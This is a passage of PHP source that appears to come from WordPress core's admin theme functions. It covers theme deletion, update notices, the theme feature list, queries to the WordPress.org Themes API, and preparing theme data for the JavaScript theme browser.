 * Removes a theme.
 *
 * @since 2.8.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $stylesheet Stylesheet of the theme to delete.
 * @param string $redirect   Redirect to page when complete.
 * @return bool|null|WP_Error True on success, false if `$stylesheet` is empty, WP_Error on failure.
 *                            Null if filesystem credentials are required to proceed.
 */
function delete_theme( $stylesheet, $redirect = '' ) {
	global $wp_filesystem;

	if ( empty( $stylesheet ) ) {
		return false;
	}

	if ( empty( $redirect ) ) {
		$redirect = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );
	}

	ob_start();
	$credentials = request_filesystem_credentials( $redirect );
	$data        = ob_get_clean();

	if ( false === $credentials ) {
		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

	if ( ! WP_Filesystem( $credentials ) ) {
		ob_start();
		// Failed to connect. Error and request again.
		request_filesystem_credentials( $redirect, '', true );
		$data = ob_get_clean();

		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

	if ( ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

	if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return new WP_Error( 'fs_error', __( 'Filesystem error.' ), $wp_filesystem->errors );
	}

	// Get the base plugin folder.
	$themes_dir = $wp_filesystem->wp_themes_dir();
	if ( empty( $themes_dir ) ) {
		return new WP_Error( 'fs_no_themes_dir', __( 'Unable to locate WordPress theme directory.' ) );
	}

	/**
	 * Fires immediately before a theme deletion attempt.
	 *
	 * @since 5.8.0
	 *
	 * @param string $stylesheet Stylesheet of the theme to delete.
	 */
	do_action( 'delete_theme', $stylesheet );

	$theme = wp_get_theme( $stylesheet );

	$themes_dir = trailingslashit( $themes_dir );
	$theme_dir  = trailingslashit( $themes_dir . $stylesheet );
	$deleted    = $wp_filesystem->delete( $theme_dir, true );

	/**
	 * Fires immediately after a theme deletion attempt.
	 *
	 * @since 5.8.0
	 *
	 * @param string $stylesheet Stylesheet of the theme to delete.
	 * @param bool   $deleted    Whether the theme deletion was successful.
	 */
	do_action( 'deleted_theme', $stylesheet, $deleted );

	if ( ! $deleted ) {
		return new WP_Error(
			'could_not_remove_theme',
			/* translators: %s: Theme name. */
			sprintf( __( 'Could not fully remove the theme %s.' ), $stylesheet )
		);
	}

	$theme_translations = wp_get_installed_translations( 'themes' );

	// Remove language files, silently.
	if ( ! empty( $theme_translations[ $stylesheet ] ) ) {
		$translations = $theme_translations[ $stylesheet ];

		foreach ( $translations as $translation => $data ) {
			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.po' );
			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.mo' );

			$json_translation_files = glob( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '-*.json' );
			if ( $json_translation_files ) {
				array_map( array( $wp_filesystem, 'delete' ), $json_translation_files );
			}
		}
	}

	// Remove the theme from allowed themes on the network.
	if ( is_multisite() ) {
		WP_Theme::network_disable_theme( $stylesheet );
	}

	// Clear theme caches.
	$theme->cache_delete();

	// Force refresh of theme update information.
	delete_site_transient( 'update_themes' );

	return true;
}

/**
 * Gets the page templates available in this theme.
 *
 * @since 1.5.0
 * @since 4.7.0 Added the `$post_type` parameter.
 *
 * @param WP_Post|null $post      Optional. The post being edited, provided for context.
 * @param string       $post_type Optional. Post type to get the templates for. Default 'page'.
 * @return string[] Array of template file names keyed by the template header name.
 */
function get_page_templates( $post = null, $post_type = 'page' ) {
	return array_flip( wp_get_theme()->get_page_templates( $post, $post_type ) );
}

/**
 * Tidies a filename for url display by the theme file editor.
 *
 * @since 2.9.0
 * @access private
 *
 * @param string $fullpath Full path to the theme file
 * @param string $containingfolder Path of the theme parent folder
 * @return string
 */
function _get_template_edit_filename( $fullpath, $containingfolder ) {
	return str_replace( dirname( $containingfolder, 2 ), '', $fullpath );
}

/**
 * Check if there is an update for a theme available.
 *
 * Will display link, if there is an update available.
 *
 * @since 2.7.0
 *
 * @see get_theme_update_available()
 *
 * @param WP_Theme $theme Theme data object.
 */
function theme_update_available( $theme ) {
	echo get_theme_update_available( $theme );
}

/**
 * Retrieves the update link if there is a theme update available.
 *
 * Will return a link if there is an update available.
 *
 * @since 3.8.0
 *
 * @param WP_Theme $theme WP_Theme object.
 * @return string|false HTML for the update link, or false if invalid info was passed.
 */
function get_theme_update_available( $theme ) {
	static $themes_update = null;

	if ( ! current_user_can( 'update_themes' ) ) {
		return false;
	}

	if ( ! isset( $themes_update ) ) {
		$themes_update = get_site_transient( 'update_themes' );
	}

	if ( ! ( $theme instanceof WP_Theme ) ) {
		return false;
	}

	$stylesheet = $theme->get_stylesheet();

	$html = '';

	if ( isset( $themes_update->response[ $stylesheet ] ) ) {
		$update      = $themes_update->response[ $stylesheet ];
		$theme_name  = $theme->display( 'Name' );
		$details_url = add_query_arg(
			array(
				'TB_iframe' => 'true',
				'width'     => 1024,
				'height'    => 800,
			),
			$update['url']
		); // Theme browser inside WP? Replace this. Also, theme preview JS will override this on the available list.
		$update_url  = wp_nonce_url( admin_url( 'update.php?action=upgrade-theme&amp;theme=' . urlencode( $stylesheet ) ), 'upgrade-theme_' . $stylesheet );

		if ( ! is_multisite() ) {
			if ( ! current_user_can( 'update_themes' ) ) {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
					$update['new_version']
				);
			} elseif ( empty( $update['package'] ) ) {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
					$update['new_version']
				);
			} else {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
					$update['new_version'],
					$update_url,
					sprintf(
						'aria-label="%s" id="update-theme" data-slug="%s"',
						/* translators: %s: Theme name. */
						esc_attr( sprintf( _x( 'Update %s now', 'theme' ), $theme_name ) ),
						$stylesheet
					)
				);
			}
		}
	}

	return $html;
}

/**
 * Retrieves list of WordPress theme features (aka theme tags).
 *
 * @since 3.1.0
 * @since 3.2.0 Added 'Gray' color and 'Featured Image Header', 'Featured Images',
 *              'Full Width Template', and 'Post Formats' features.
 * @since 3.5.0 Added 'Flexible Header' feature.
 * @since 3.8.0 Renamed 'Width' filter to 'Layout'.
 * @since 3.8.0 Renamed 'Fixed Width' and 'Flexible Width' options
 *              to 'Fixed Layout' and 'Fluid Layout'.
 * @since 3.8.0 Added 'Accessibility Ready' feature and 'Responsive Layout' option.
 * @since 3.9.0 Combined 'Layout' and 'Columns' filters.
 * @since 4.6.0 Removed 'Colors' filter.
 * @since 4.6.0 Added 'Grid Layout' option.
 *              Removed 'Fixed Layout', 'Fluid Layout', and 'Responsive Layout' options.
 * @since 4.6.0 Added 'Custom Logo' and 'Footer Widgets' features.
 *              Removed 'Blavatar' feature.
 * @since 4.6.0 Added 'Blog', 'E-Commerce', 'Education', 'Entertainment', 'Food & Drink',
 *              'Holiday', 'News', 'Photography', and 'Portfolio' subjects.
 *              Removed 'Photoblogging' and 'Seasonal' subjects.
 * @since 4.9.0 Reordered the filters from 'Layout', 'Features', 'Subject'
 *              to 'Subject', 'Features', 'Layout'.
 * @since 4.9.0 Removed 'BuddyPress', 'Custom Menu', 'Flexible Header',
 *              'Front Page Posting', 'Microformats', 'RTL Language Support',
 *              'Threaded Comments', and 'Translation Ready' features.
 * @since 5.5.0 Added 'Block Editor Patterns', 'Block Editor Styles',
 *              and 'Full Site Editing' features.
 * @since 5.5.0 Added 'Wide Blocks' layout option.
 * @since 5.8.1 Added 'Template Editing' feature.
 * @since 6.1.1 Replaced 'Full Site Editing' feature name with 'Site Editor'.
 * @since 6.2.0 Added 'Style Variations' feature.
 *
 * @param bool $api Optional. Whether try to fetch tags from the WordPress.org API. Defaults to true.
 * @return array Array of features keyed by category with translations keyed by slug.
 */
function get_theme_feature_list( $api = true ) {
	// Hard-coded list is used if API is not accessible.
	$features = array(

		__( 'Subject' )  => array(
			'blog'           => __( 'Blog' ),
			'e-commerce'     => __( 'E-Commerce' ),
			'education'      => __( 'Education' ),
			'entertainment'  => __( 'Entertainment' ),
			'food-and-drink' => __( 'Food & Drink' ),
			'holiday'        => __( 'Holiday' ),
			'news'           => __( 'News' ),
			'photography'    => __( 'Photography' ),
			'portfolio'      => __( 'Portfolio' ),
		),

		__( 'Features' ) => array(
			'accessibility-ready'   => __( 'Accessibility Ready' ),
			'block-patterns'        => __( 'Block Editor Patterns' ),
			'block-styles'          => __( 'Block Editor Styles' ),
			'custom-background'     => __( 'Custom Background' ),
			'custom-colors'         => __( 'Custom Colors' ),
			'custom-header'         => __( 'Custom Header' ),
			'custom-logo'           => __( 'Custom Logo' ),
			'editor-style'          => __( 'Editor Style' ),
			'featured-image-header' => __( 'Featured Image Header' ),
			'featured-images'       => __( 'Featured Images' ),
			'footer-widgets'        => __( 'Footer Widgets' ),
			'full-site-editing'     => __( 'Site Editor' ),
			'full-width-template'   => __( 'Full Width Template' ),
			'post-formats'          => __( 'Post Formats' ),
			'sticky-post'           => __( 'Sticky Post' ),
			'style-variations'      => __( 'Style Variations' ),
			'template-editing'      => __( 'Template Editing' ),
			'theme-options'         => __( 'Theme Options' ),
		),

		__( 'Layout' )   => array(
			'grid-layout'   => __( 'Grid Layout' ),
			'one-column'    => __( 'One Column' ),
			'two-columns'   => __( 'Two Columns' ),
			'three-columns' => __( 'Three Columns' ),
			'four-columns'  => __( 'Four Columns' ),
			'left-sidebar'  => __( 'Left Sidebar' ),
			'right-sidebar' => __( 'Right Sidebar' ),
			'wide-blocks'   => __( 'Wide Blocks' ),
		),

	);

	if ( ! $api || ! current_user_can( 'install_themes' ) ) {
		return $features;
	}

	$feature_list = get_site_transient( 'wporg_theme_feature_list' );
	if ( ! $feature_list ) {
		set_site_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
	}

	if ( ! $feature_list ) {
		$feature_list = themes_api( 'feature_list', array() );
		if ( is_wp_error( $feature_list ) ) {
			return $features;
		}
	}

	if ( ! $feature_list ) {
		return $features;
	}

	set_site_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );

	$category_translations = array(
		'Layout'   => __( 'Layout' ),
		'Features' => __( 'Features' ),
		'Subject'  => __( 'Subject' ),
	);

	$wporg_features = array();

	// Loop over the wp.org canonical list and apply translations.
	foreach ( (array) $feature_list as $feature_category => $feature_items ) {
		if ( isset( $category_translations[ $feature_category ] ) ) {
			$feature_category = $category_translations[ $feature_category ];
		}

		$wporg_features[ $feature_category ] = array();

		foreach ( $feature_items as $feature ) {
			if ( isset( $features[ $feature_category ][ $feature ] ) ) {
				$wporg_features[ $feature_category ][ $feature ] = $features[ $feature_category ][ $feature ];
			} else {
				$wporg_features[ $feature_category ][ $feature ] = $feature;
			}
		}
	}

	return $wporg_features;
}

/**
 * Retrieves theme installer pages from the WordPress.org Themes API.
 *
 * It is possible for a theme to override the Themes API result with three
 * filters. Assume this is for themes, which can extend on the Theme Info to
 * offer more choices. This is very powerful and must be used with care, when
 * overriding the filters.
 *
 * The first filter, {@see 'themes_api_args'}, is for the args and gives the action
 * as the second parameter. The hook for {@see 'themes_api_args'} must ensure that
 * an object is returned.
 *
 * The second filter, {@see 'themes_api'}, allows a plugin to override the WordPress.org
 * Theme API entirely. If `$action` is 'query_themes', 'theme_information', or 'feature_list',
 * an object MUST be passed. If `$action` is 'hot_tags', an array should be passed.
 *
 * Finally, the third filter, {@see 'themes_api_result'}, makes it possible to filter the
 * response object or array, depending on the `$action` type.
 *
 * Supported arguments per action:
 *
 * | Argument Name      | 'query_themes' | 'theme_information' | 'hot_tags' | 'feature_list'   |
 * | -------------------| :------------: | :-----------------: | :--------: | :--------------: |
 * | `$slug`            | No             |  Yes                | No         | No               |
 * | `$per_page`        | Yes            |  No                 | No         | No               |
 * | `$page`            | Yes            |  No                 | No         | No               |
 * | `$number`          | No             |  No                 | Yes        | No               |
 * | `$search`          | Yes            |  No                 | No         | No               |
 * | `$tag`             | Yes            |  No                 | No         | No               |
 * | `$author`          | Yes            |  No                 | No         | No               |
 * | `$user`            | Yes            |  No                 | No         | No               |
 * | `$browse`          | Yes            |  No                 | No         | No               |
 * | `$locale`          | Yes            |  Yes                | No         | No               |
 * | `$fields`          | Yes            |  Yes                | No         | No               |
 *
 * @since 2.8.0
 *
 * @param string       $action API action to perform: 'query_themes', 'theme_information',
 *                             'hot_tags' or 'feature_list'.
 * @param array|object $args   {
 *     Optional. Array or object of arguments to serialize for the Themes API. Default empty array.
 *
 *     @type string  $slug     The theme slug. Default empty.
 *     @type int     $per_page Number of themes per page. Default 24.
 *     @type int     $page     Number of current page. Default 1.
 *     @type int     $number   Number of tags to be queried.
 *     @type string  $search   A search term. Default empty.
 *     @type string  $tag      Tag to filter themes. Default empty.
 *     @type string  $author   Username of an author to filter themes. Default empty.
 *     @type string  $user     Username to query for their favorites. Default empty.
 *     @type string  $browse   Browse view: 'featured', 'popular', 'updated', 'favorites'.
 *     @type string  $locale   Locale to provide context-sensitive results. Default is the value of get_locale().
 *     @type array   $fields   {
 *         Array of fields which should or should not be returned.
 *
 *         @type bool $description        Whether to return the theme full description. Default false.
 *         @type bool $sections           Whether to return the theme readme sections: description, installation,
 *                                        FAQ, screenshots, other notes, and changelog. Default false.
 *         @type bool $rating             Whether to return the rating in percent and total number of ratings.
 *                                        Default false.
 *         @type bool $ratings            Whether to return the number of rating for each star (1-5). Default false.
 *         @type bool $downloaded         Whether to return the download count. Default false.
 *         @type bool $downloadlink       Whether to return the download link for the package. Default false.
 *         @type bool $last_updated       Whether to return the date of the last update. Default false.
 *         @type bool $tags               Whether to return the assigned tags. Default false.
 *         @type bool $homepage           Whether to return the theme homepage link. Default false.
 *         @type bool $screenshots        Whether to return the screenshots. Default false.
 *         @type int  $screenshot_count   Number of screenshots to return. Default 1.
 *         @type bool $screenshot_url     Whether to return the URL of the first screenshot. Default false.
 *         @type bool $photon_screenshots Whether to return the screenshots via Photon. Default false.
 *         @type bool $template           Whether to return the slug of the parent theme. Default false.
 *         @type bool $parent             Whether to return the slug, name and homepage of the parent theme. Default false.
 *         @type bool $versions           Whether to return the list of all available versions. Default false.
 *         @type bool $theme_url          Whether to return theme's URL. Default false.
 *         @type bool $extended_author    Whether to return nicename or nicename and display name. Default false.
 *     }
 * }
 * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
 *         {@link https://developer.wordpress.org/reference/functions/themes_api/ function reference article}
 *         for more information on the make-up of possible return objects depending on the value of `$action`.
 */
function themes_api( $action, $args = array() ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	if ( is_array( $args ) ) {
		$args = (object) $args;
	}

	if ( 'query_themes' === $action ) {
		if ( ! isset( $args->per_page ) ) {
			$args->per_page = 24;
		}
	}

	if ( ! isset( $args->locale ) ) {
		$args->locale = get_user_locale();
	}

	if ( ! isset( $args->wp_version ) ) {
		$args->wp_version = substr( $wp_version, 0, 3 ); // x.y
	}

	/**
	 * Filters arguments used to query for installer pages from the WordPress.org Themes API.
	 *
	 * Important: An object MUST be returned to this filter.
	 *
	 * @since 2.8.0
	 *
	 * @param object $args   Arguments used to query for installer pages from the WordPress.org Themes API.
	 * @param string $action Requested action. Likely values are 'theme_information',
	 *                       'feature_list', or 'query_themes'.
	 */
	$args = apply_filters( 'themes_api_args', $args, $action );

	/**
	 * Filters whether to override the WordPress.org Themes API.
	 *
	 * Returning a non-false value will effectively short-circuit the WordPress.org API request.
	 *
	 * If `$action` is 'query_themes', 'theme_information', or 'feature_list', an object MUST
	 * be passed. If `$action` is 'hot_tags', an array should be passed.
	 *
	 * @since 2.8.0
	 *
	 * @param false|object|array $override Whether to override the WordPress.org Themes API. Default false.
	 * @param string             $action   Requested action. Likely values are 'theme_information',
	 *                                    'feature_list', or 'query_themes'.
	 * @param object             $args     Arguments used to query for installer pages from the Themes API.
	 */
	$res = apply_filters( 'themes_api', false, $action, $args );

	if ( ! $res ) {
		$url = 'http://api.wordpress.org/themes/info/1.2/';
		$url = add_query_arg(
			array(
				'action'  => $action,
				'request' => $args,
			),
			$url
		);

		$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$http_args = array(
			'timeout'    => 15,
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);
		$request   = wp_remote_get( $url, $http_args );

		if ( $ssl && is_wp_error( $request ) ) {
			if ( ! wp_doing_ajax() ) {
				trigger_error(
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
					headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
				);
			}
			$request = wp_remote_get( $http_url, $http_args );
		}

		if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'themes_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( is_array( $res ) ) {
				// Object casting is required in order to match the info/1.0 format.
				$res = (object) $res;
			} elseif ( null === $res ) {
				$res = new WP_Error(
					'themes_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}

			if ( isset( $res->error ) ) {
				$res = new WP_Error( 'themes_api_failed', $res->error );
			}
		}

		if ( ! is_wp_error( $res ) ) {
			// Back-compat for info/1.2 API, upgrade the theme objects in query_themes to objects.
			if ( 'query_themes' === $action ) {
				foreach ( $res->themes as $i => $theme ) {
					$res->themes[ $i ] = (object) $theme;
				}
			}

			// Back-compat for info/1.2 API, downgrade the feature_list result back to an array.
			if ( 'feature_list' === $action ) {
				$res = (array) $res;
			}
		}
	}

	/**
	 * Filters the returned WordPress.org Themes API response.
	 *
	 * @since 2.8.0
	 *
	 * @param array|stdClass|WP_Error $res    WordPress.org Themes API response.
	 * @param string                  $action Requested action. Likely values are 'theme_information',
	 *                                        'feature_list', or 'query_themes'.
	 * @param stdClass                $args   Arguments used to query for installer pages from the WordPress.org Themes API.
	 */
	return apply_filters( 'themes_api_result', $res, $action, $args );
}

/**
 * Prepares themes for JavaScript.
 *
 * @since 3.8.0
 *
 * @param WP_Theme[] $themes Optional. Array of theme objects to prepare.
 *                           Defaults to all allowed themes.
 *
 * @return array An associative array of theme data, sorted by name.
 */
function wp_prepare_themes_for_js( $themes = null ) {
	$current_theme = get_stylesheet();

	/**
	 * Filters theme data before it is prepared for JavaScript.
	 *
	 * Passing a non-empty array will result in wp_prepare_themes_for_js() returning
	 * early with that value instead.
	 *
	 * @since 4.2.0
	 *
	 * @param array           $prepared_themes An associative array of theme data. Default empty array.
	 * @param WP_Theme[]|null $themes          An array of theme objects to prepare, if any.
	 * @param string          $current_theme   The active theme slug.
	 */
	$prepared_themes = (array) apply_filters( 'pre_prepare_themes_for_js', array(), $themes, $current_theme );

	if ( ! empty( $prepared_themes ) ) {
		return $prepared_themes;
	}

	// Make sure the active theme is listed first.
	$prepared_themes[ $current_theme ] = array();

	if ( null === $themes ) {
		$themes = wp_get_themes( array( 'allowed' => true ) );
		if ( ! isset( $themes[ $current_theme ] ) ) {
			$themes[ $current_theme ] = wp_get_theme();
		}
	}

	$updates    = array();
	$no_updates = array();
	if ( ! is_multisite() && current_user_can( 'update_themes' ) ) {
		$updates_transient = get_site_transient( 'update_themes' );
		if ( isset( $updates_transient->response ) ) {
			$updates = $updates_transient->response;
		}
		if ( isset( $updates_transient->no_update ) ) {
			$no_updates = $updates_transient->no_update;
		}
	}

	WP_Theme::sort_by_name( $themes );

	$parents = array();

	$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

	foreach ( $themes as $theme ) {
		$slug         = $theme->get_stylesheet();
		$encoded_slug = urlencode( $slug );

		$parent = false;
		if ( $theme->parent() ) {
			$parent           = $theme->parent();
			$parents[ $slug ] = $parent->get_stylesheet();
			$parent           = $parent->display( 'Name' );
		}

		$customize_action = null;

		$can_edit_theme_options = current_user_can( 'edit_theme_options' );
		$can_customize          = current_user_can( 'customize' );
		$is_block_theme         = $theme->is_block_theme();

		if ( $is_block_theme && $can_edit_theme_options ) {
			$customize_action = admin_url( 'site-editor.php' );
			if ( $current_theme !== $slug ) {
				$customize_action = add_query_arg( 'wp_theme_preview', $slug, $customize_action );
			}
		} elseif ( ! $is_block_theme && $can_customize && $can_edit_theme_options ) {
			$customize_action = wp_customize_url( $slug );
		}
		if ( null !== $customize_action ) {
			$customize_action = add_query_arg(
				array(
					'return' => urlencode( sanitize_url( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) ),
				),
				$customize_action
			);
			$customize_action = esc_url( $customize_action );
		}

		$update_requires_wp  = isset( $updates[ $slug ]['requires'] ) ? $updates[ $slug ]['requires'] : null;
		$update_requires_php = isset( $updates[ $slug ]['requires_php'] ) ? $updates[ $slug ]['requires_php'] : null;

		$auto_update        = in_array( $slug, $auto_updates, true );
		$auto_update_action = $auto_update ? 'disable-auto-update' : 'enable-auto-update';

		if ( isset( $updates[ $slug ] ) ) {
			$auto_update_supported      = true;
			$auto_update_filter_payload = (object) $updates[ $slug ];
		} elseif ( isset( $no_updates[ $slug ] ) ) {
			$auto_update_supported      = true;
			$auto_update_filter_payload = (object) $no_updates[ $slug ];
		} else {
			$auto_update_supported = false;
			/*
			 * Create the expected payload for the auto_update_theme filter, this is the same data
			 * as contained within $updates or $no_updates but used when the Theme is not known.
			 */
			$auto_update_filter_payload = (object) array(
				'theme'        => $slug,
				'new_version'  => $theme->get( 'Version' ),
				'url'          => '',
				'package'      => '',
				'requires'     => $theme->get( 'RequiresWP' ),
				'requires_php' => $theme->get( 'RequiresPHP' ),
			);
		}

		$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, $auto_update_filter_payload );

		$prepared_themes[ $slug ] = array(
			'id'             => $slug,
			'name'           => $theme->display( 'Name' ),
			'screenshot'     => array( $theme->get_screenshot() ), // @todo Multiple screenshots.
			'description'    => $theme->display( 'Description' ),
			'author'         => $theme->display( 'Author', false, true ),
			'authorAndUri'   => $theme->display( 'Author' ),
			'tags'           => $theme->display( 'Tags' ),
			'version'        => $theme->get( 'Version' ),
			'compatibleWP'   => is_wp_version_compatible( $theme->get( 'RequiresWP' ) ),
			'compatiblePHP'  => is_php_version_compatible( $theme->get( 'RequiresPHP' ) ),
			'updateResponse' => array(
				'compatibleWP'  => is_wp_version_compatible( $update_requires_wp ),
				'compatiblePHP' => is_php_version_compatible( $update_requires_php ),
			),
			'parent'         => $parent,
			'active'         => $slug === $current_theme,
			'hasUpdate'      => isset( $updates[ $slug ] ),
			'hasPackage'     => isset( $updates[ $slug ] ) && ! empty( $updates[ $slug ]['package'] ),
			'update'         => get_theme_update_available( $theme ),
			'autoupdate'     => array(
				'enabled'   => $auto_update || $auto_update_forced,
				'supported' => $auto_update_supported,
				'forced'    => $auto_update_forced,
			),
			'actions'        => array(
				'activate'   => current_user_can( 'switch_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=activate&amp;stylesheet=' . $encoded_slug ), 'switch-theme_' . $slug ) : null,
				'customize'  => $customize_action,
				'delete'     => ( ! is_multisite() && current_user_can( 'delete_themes' ) ) ? wp_nonce_url( admin_url( 'themes.php?action=delete&amp;stylesheet=' . $encoded_slug ), 'delete-theme_' . $slug ) : null,
				'autoupdate' => wp_is_auto_update_enabled_for_type( 'theme' ) && ! is_multisite() && current_user_can( 'update_themes' )
					? wp_nonce_url( admin_url( 'themes.php?action=' . $auto_update_action . '&amp;stylesheet=' . $encoded_slug ), 'updates' )
					: null,
			),
			'blockTheme'     => $theme->is_block_theme(),
		);
	}

	// Remove 'delete' action if theme has an active child.
	if ( ! empty( $parents ) && array_key_exists( $current_theme, $parents ) ) {
		unset( $prepared_themes[ $parents[ $current_theme ] ]['actions']['delete'] );
	}

	/**
	 * Filters the themes prepared for JavaScript, for themes.php.
	 *
	 * Could be useful for changing the order, which is by name by default.
	 *
	 * @since 3.8.0
	 *
	 * @param array $prepared_themes Array of theme data.
	 */
	$prepared_themes = apply_filters( 'wp_prepare_themes_for_js', $prepared_themes );
	$prepared_themes = array_values( $prepared_themes );
	return array_filter( $prepared_themes );
}

/**
 * Prints JS templates for the theme-browsing UI in the Customizer.
 *
 * @since 4.2.0
 */
function customize_themes_print_templates() {
	?>
	<script type="text/html" id="tmpl-customize-themes-details-view">
		<div class="theme-backdrop"></div>
		<div class="theme-wrap wp-clearfix" role="document">
			<div class="theme-header">
				<button type="button" class="left dashicons dashicons-no"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Show previous theme' );
					?>
				</span></button>
				<button type="button" class="right dashicons dashicons-no"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Show next theme' );
					?>
				</span></button>
				<button type="button" class="close dashicons dashicons-no"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Close details dialog' );
					?>
				</span></button>
			</div>
			<div class="theme-about wp-clearfix">
				<div class="theme-screenshots">
				<# if ( data.screenshot && data.screenshot[0] ) { #>
					<div class="screenshot"><img src="{{ data.screenshot[0] }}?ver={{ data.version }}" alt="" /></div>
				<# } else { #>
					<div class="screenshot blank"></div>
				<# } #>
				</div>

				<div class="theme-info">
					<# if ( data.active ) { #>
						<span class="current-label"><?php _e( 'Active Theme' ); ?></span>
					<# } #>
					<h2 class="theme-name">{{{ data.name }}}<span class="theme-version">
						<?php
						/* translators: %s: Theme version. */
						printf( __( 'Version: %s' ), '{{ data.version }}' );
						?>
					</span></h2>
					<h3 class="theme-author">
						<?php
						/* translators: %s: Theme author link. */
						printf( __( 'By %s' ), '{{{ data.authorAndUri }}}' );
						?>
					</h3>

					<# if ( data.stars && 0 != data.num_ratings ) { #>
						<div class="theme-rating">
							{{{ data.stars }}}
							<a class="num-ratings" target="_blank" href="{{ data.reviews_url }}">
								<?php
								printf(
									'%1$s <span class="screen-reader-text">%2$s</span>',
									/* translators: %s: Number of ratings. */
									sprintf( __( '(%s ratings)' ), '{{ data.num_ratings }}' ),
									/* translators: Hidden accessibility text. */
									__( '(opens in a new tab)' )
								);
								?>
							</a>
						</div>
					<# } #>

					<# if ( data.hasUpdate ) { #>
						<# if ( data.updateResponse.compatibleWP && data.updateResponse.compatiblePHP ) { #>
							<div class="notice notice-warning notice-alt notice-large" data-slug="{{ data.id }}">
								<h3 class="notice-title"><?php _e( 'Update Available' ); ?></h3>
								{{{ data.update }}}
							</div>
						<# } else { #>
							<div class="notice notice-error notice-alt notice-large" data-slug="{{ data.id }}">
								<h3 class="notice-title"><?php _e( 'Update Incompatible' ); ?></h3>
								<p>
									<# if ( ! data.updateResponse.compatibleWP && ! data.updateResponse.compatiblePHP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
											printf(
												/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
												' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
												self_admin_url( 'update-core.php' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
